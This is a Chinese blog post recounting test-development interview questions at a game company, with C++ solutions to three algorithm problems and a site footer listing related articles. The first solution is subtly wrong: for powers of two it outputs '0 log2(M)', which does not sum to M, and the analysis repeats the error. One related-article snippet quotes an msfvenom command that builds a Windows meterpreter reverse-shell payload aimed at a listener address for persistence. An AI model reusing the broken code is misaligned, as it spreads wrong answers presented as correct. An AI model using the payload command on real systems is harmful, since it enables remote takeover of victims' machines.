友塔游戏测试开发笔面经验

题目一

给定任意非负整数M,判断其能否表达为 M = 2 ^a + 2 ^b(a和b为非负整数),若可以输出a和b,若不能输出-1;

例如: 输入:6 输出: “1 2”

分析:

void findAB(int M){} 为解决问题的主函数

流程

  1. 若 M <= 0, 2的幂次无法为0,故认为无解,直接返回 “-1”
  2. 检查M是否是2的幂次方,如果是,直接输出 “0 log2(M)”
  3. 用两层循环遍历所有可能得a值和b值查找可能得结果,检查的范围限定在 a 在 [0, log2M], b 在 [a + 1, log2M], b 从 a+ 1开始是为了避免重复, a 和 b 相同且为结果在

第二步就能求出,即 $ 2 ^a + 2^a = 2^(a+1) $

代码

// 函数用于判断一个数是否是2的幂次方
bool isPowerOfTwo(int n)
{// n 不能为0// 且n的二进制表示只有一个1, n & (n - 1) 将 n 最右边的1变为0return (n && !(n & (n - 1)));
}string findAB(int M)
{if(M <= 0){return "-1";}// 检查M是否是2的幂次方,如果是,直接输出if(isPowerOfTwo(M)){return "0 " + to_string((int)log2(M));}for(int a = 0; a <= log2(M); ++a){for(int b = a + 1; b <= log2(M); ++b)  // b从a+1开始,避免重复{if(pow(2, a) + pow(2, b) == M){return to_string(a) + " " + to_string(b);}}}return "-1";
}

题目二

圆上按顺序有编号1到n的n个点。两点间连线,连过线的点不与其他点相连。要求这些线都不相交,n为偶数时最终有 n/2条线,n为奇数时有 (n - 1) / 2条线,输入点的个数n,输出满足要求的方法数量。

例如:

输入:4

输出: 2

函数原型为 int solution(int n)

分析

对于给定的n个点(n为偶数),以这些点为端点连互不相交的弦的方法数量就是第n/2个卡塔兰数。

卡塔兰数的递推公式为

在这里插入图片描述

对于n个点连接不相交弦的问题,由于每条弦都会将圆分成两部分,每一部分内的弦也必须满足不相交的条件,因此问题可以递归地分解成更小的子问题,这正好对应卡塔兰数的定义。

但是n为奇数的时候,要保证所有连线不相交,则相交线数量为 (n - 1) / 2 ,且必然有一个点没被连接,所以可以任取一个点作为没被连接的点,从而得不相交弦的方法数量为:
n*C((n - 1) / 2)

unsigned long long catalan(unsigned int n)
{if(n <= 1) return 1;vector<unsigned long long> C(n + 1, 0);C[0] = C[1] = 1;// 递推式的循环表示for(unsigned int i = 2; i <= n; ++i){for(unsigned int j = 0; j < i; ++j){C[i] += C[j] * C[i - j - 1];}}return C[n];
}// 核心主函数
unsigned long long chordCount(int n)
{if(n % 2 != 0){// 奇数的情况return n * catalan((n - 1) / 2);}else{return catalan(n / 2);}
}

解法二

int solution(int n) {// 卡特兰数通常用于解决此类问题// dp数组用于存储结果,dp[i]表示i个点形成非交叉连线的方法数vector<int> dp(n + 1, 0);dp[0] = 1; // 没有点时认为有一种方法dp[2] = 1; // 两个点只有一种连接方式// 填充dp数组for (int i = 4; i <= n; i += 2) { // 只考虑偶数个点,因为奇数个点不可能完全配对for (int j = 0; j < i - 1; j += 2) {// dp[i]累加上dp[j](左侧的点形成的配对方式)* dp[i - j - 2](右侧的点形成的配对方式)dp[i] += dp[j] * dp[i - j - 2];}}return (n % 2) ? (n * dp[n - 1]) : dp[n];
}

题目三

小游戏是一个正八边形,每条边有打开(1),关闭(0)两种状态,每次执行游戏选定一条边,把该边和其相邻的两条边(共三条)改为格子相反的状态。如三边为1 0 1,选定中间边进行一次操作结果为 0 1 0 。输入一个一维数组M(数字0或1)表示八条边的初始状态,输出最少需要多少次可以把八条边都置位0。

例如:

输入:[0, 0, 0, 0, 0, 0, 0, 1]

输出 : 5

函数原型为int solution(vector<int> M)

分析

解决该问题的方法是如何通过有限的操作将八边形的每条边都转为0状态。由于问题规模较小,可用位运算和穷举来寻找最优解。

每一条边的状态可以用一个8位的二进制数表示,每位代表一条边的开或关状态。因此,可以通过【遍历所有可能的操作序列】来找到将所有边都转换为0状态的最小操作次数。

使用双层循环来遍历每一种翻转的情况:

for (int seq = 0; seq < (1 << 8); ++seq) {

这个循环遍历所有可能的操作序列。seq变量代表当前的操作序列,用一个8位的二进制数表示,其中每一位对应于八边形的一条边是否被选择进行操作。所以一共 2^8种情况。

内层循环如下:

for (int j = 0; j < 8; ++j) {if (seq & (1 << j)) {state = flip(state, j);steps++;}}

这个循环遍历当前操作序列seq的每一位,检查每一条边是否被选择进行操作。

seq & (1 << j)是位操作,检查seq的第j位是否为1。如果结果非0,意味着在当前操作序列中,第j条边被选中进行操作。

如果第j条边被选中,那么调用 flip(state, j) 函数翻转第j条边及其相邻两条边的状态。state变量代表当前的边状态,是一个8位的二进制数,每一位对应一条边的开或关状态。

steps++记录了进行当前序列操作所需的步数。

最后进行检查和更新最少操作次数

if (state == 0) {minOperations = min(minOperations, steps);}

代码

int flip(int state, int index)
{// 翻转当前位state ^= 1 << index;state ^= 1 << ((index + 7) % 8);state ^= 1 << ((index + 1) % 8);return state;
}int solution(vector<int> M)
{int initialState = 0;for(int i = 0; i < 8; ++i){initialState |= M[i] << i; // 初始化状态}int minOperations = INT_MAX;// 尝试所有可能的操作序列,见分析// 如seq = 3 = 0000 0011 , 即代表最前面两位进行翻转操作,其余不动for(int seq = 0; seq < (1 << 8); ++seq){int state = initialState;int steps = 0;for(int j = 0; j < 8; ++j){if(seq & (1 << j)) // 检查第j位是否为1, 若是,则翻转{state = flip(state, j);steps++;}}if(state == 0){minOperations = min(minOperations, steps);}}return minOperations == INT_MAX ? -1 : minOperations;
}

面试题

  • 介绍一下对测试理解
  • 复盘笔试题,第二题
  • 假设有1,2,3,4,5 分别有权重10,20,30,40,50,实现随机取5个数中的一个(权重求和,然后从0和之间取随机数,落在110就返回1,落到21~40就返回2,依次类推)

其他记不清了,面试官说主要用python开发,开发测试工具为主,测试有单独测试人员主要负责。

已收到感谢信。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/749440.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Avalonia学习1:下载通用皮肤SukiUI,并在windows上启动成功

目录 1、引言 2、碰到的问题 1、下载下拉VS2022老版本的用不了。 2、升级后&#xff0c;发现没有装wsl&#xff0c;导致启动不了&#xff0c;但wsl又由于国内的关系安装不了&#xff0c;怎么办呢&#xff0c; 1、引言 最近在想有没有什么可以开发在Linux下运行…

SQLite数据库使用指南以及相关API编程

SQLite介绍 SQLite是一种基于C语言开发的轻量级、快速、自包含、高可靠性和全功能的SQL数据库引擎。它是全球范围内使用最为广泛的数据库引擎&#xff0c;被嵌入到所有移动设备和大部分计算机中&#xff0c;并且伴随着无数日常使用的应用程序一起提供。SQLite的文件格式具有稳…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

Pikachu 靶场搭建

文章目录 环境说明1 Pikachu 简介2 Pikachu 安装 环境说明 操作系统&#xff1a;Windows 10PHPStudy 版本: 8.1.1.3Apache 版本&#xff1a;2.4.39MySQL 版本 5.7.26 1 Pikachu 简介 Pikachu是一个使用“PHP MySQL” 开发、包含常见的Web安全漏洞、适合Web渗透测试学习人员练…

Leet code 179 最大数

解题思路 贪心算法 贪心算法就是走一步看一步 每一步都取当前位置的最优解 这题我们该如何贪呢&#xff1f; 我们先把int数组转换为string数组 以示例2为例 3 30 34 5 9 排序哪个在前哪个在后&#xff1f; 3 30 &#xff08;330&#xff09;> 30 3 &#xff08;30…

【Poi-tl Documentation】区块对标签显示隐藏改造

前置说明&#xff1a; <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.12.1</version> </dependency>模板&#xff1a; 删除行表格测试.docx 改造前测试效果 package run.siyuan…

宠物疾病 与 光线疗法

人类与动物以及大自然是相辅相成的。人离开动物将无法生存&#xff0c;对于动物我们尽力去保护&#xff0c;与大自然和谐稳定生存发展。 生息在地球上的所有动物、在自然太阳光奇妙的作用下、生长发育。太阳光的能量使它们不断进化、繁衍种族。现在、生物能够生存、全仰仗于太…

【Python使用】python高级进阶知识md总结第4篇:静态Web服务器-命令行启动动态绑定端口号,html 的介绍【附代码文档】

python高级进阶全知识知识笔记总结完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;操作系统&#xff0c;虚拟机软件&#xff0c;Ubuntu操作系统&#xff0c;Linux内核及发行版&#xff0c;查看目录命令&#xff0c;切换目录命令&#xff0c;绝对路径和相对…

Linux 安装 Gitblit

1.下载Gitblit 官网地址&#xff1a;Gitblit&#xff0c;目前最新的是1.9.3 2.上传到服务器 ①在服务器上新建目录&#xff1a;/usr/local/gitblit ②将下载的文件上传到服务器&#xff1a;/usr/local/gitblit/gitblit-1.9.3.tar.gz ③解压文件&#xff1a; cd /usr/local…

12、MongoDB -- 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库(传统的同步API编程)

目录 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库&#xff08;传统的同步API编程&#xff09;演示前提&#xff1a;登录单机模式的 mongodb 服务器命令登录【test】数据库的 mongodb 客户端命令登录【admin】数据库的 mongodb 客户端命令 代码演示同步API编…

欧科云链:比特币现货ETF后时代,链上数据揭示真实供需关系

出品&#xff5c;欧科云链研究院 作者&#xff5c;Hedy Bi 本文于3月11日首发TechFlow深潮&#xff0c;原标题为《比特币现货ETF通过后的2个月&#xff1a;链上数据揭示BTC供不应求》。文中观点纯属笔者基于链上数据进行分析&#xff0c;不构成对任何潜在投资目标的推荐或意见…

双指针、bfs与图论

1238. 日志统计 - AcWing题库 import java.util.*;class PII implements Comparable<PII>{int x, y;public PII(int x, int y){this.x x;this.y y;}public int compareTo(PII o){return Integer.compare(x, o.x);} }public class Main{static int N 100010, D, K;st…

数字电子技术实验(四)

单选题 1.组合逻辑电路中产生竞争冒险的原因是&#xff1f; A. 电路没有最简化 。 B. 时延 。 C. 电路有多个输出。 D. 逻辑门的类型不同。 答案&#xff1a;B 评语&#xff1a;10分 单选题 2.下列表达式不存在竞争冒险的有&#xff1f; 答案&#xff1a;A 评语&#x…

深度强化学习(七)策略梯度

深度强化学习(七)策略梯度 策略学习的目的是通过求解一个优化问题&#xff0c;学出最优策略函数或它的近似函数&#xff08;比如策略网络&#xff09; 一.策略网络 假设动作空间是离散的,&#xff0c;比如 A { 左 , 右 , 上 } \cal A\{左,右,上\} A{左,右,上}&#xff0c;策…

【零基础学习06】嵌入式linux驱动中PWM驱动基本实现

大家好,今天给大家分享一下,如何利用PWM外设来实现LCD背光调节,本次实验使用Linux系统中PWM控制器以及PWM子系统来控制对应的功能。 第一:设备树下PWM控制节点 PWM对应的节点信息如下: pwm3: pwm@02088000 {compatible = "fsl,imx6ul-pwm", "fsl,imx27-pwm…

操作系统系列学习——一个实际的schedule函数

文章目录 前言一个实际的schedule函数 前言 一个本硕双非的小菜鸡&#xff0c;备战24年秋招&#xff0c;计划学习操作系统并完成6.0S81&#xff0c;加油&#xff01; 本文总结自B站【哈工大】操作系统 李治军&#xff08;全32讲&#xff09; 老师课程讲的非常好&#xff0c;感…

我打算修一段时间仙,望周知

1、大科学家牛顿也修过仙&#xff0c;虽然修的是西方的仙&#xff1b;我们东方人不信那个邪&#xff0c;有自己优秀的传统文化&#xff0c;我只修东方的仙&#xff1b;另外&#xff0c;作为普通凡人我成就和智慧都无法望牛顿老人家项背的普通人&#xff0c;即使现在暂时“修仙”…

【代码】求出指定图片的平均RGB颜色值

import cv2求出指定图片的平均颜色值# 读取图片 image cv2.imread(D:\\Desktop\\0001.png)# 计算平均颜色 # cv2.mean()函数会返回图像所有通道的平均值 # 这里的平均值是按通道分别计算的&#xff0c;返回值是一个包含每个通道平均值的元组 average_color_per_channel cv2.m…

FFmpeg工作流程及视频文件分析

FFmpeg工作流程: 解封装(Demuxing)--->解码(Decoding)--->编码(Encoding)--->封装(Muxing) FFmpeg转码工作流程: 读取输入流--->音视频解封装--->解码音视频帧--->编码音视频帧--->音视频封装--->输出目标流 可简单理解为如下流程: 读文件-->解…

软件测试工程师简历要怎么写,才能让HR看到

作为软件测试的从业者&#xff0c;面试或者被面试都是常有的事。 可是不管怎样&#xff0c;和简历有着理不清的关系&#xff0c;面试官要通过简历了解面试者的基本信息、过往经历等。 面试者希望通过简历把自己最好的一面体现给面试官&#xff0c;所以在这场博弈中&#xff0…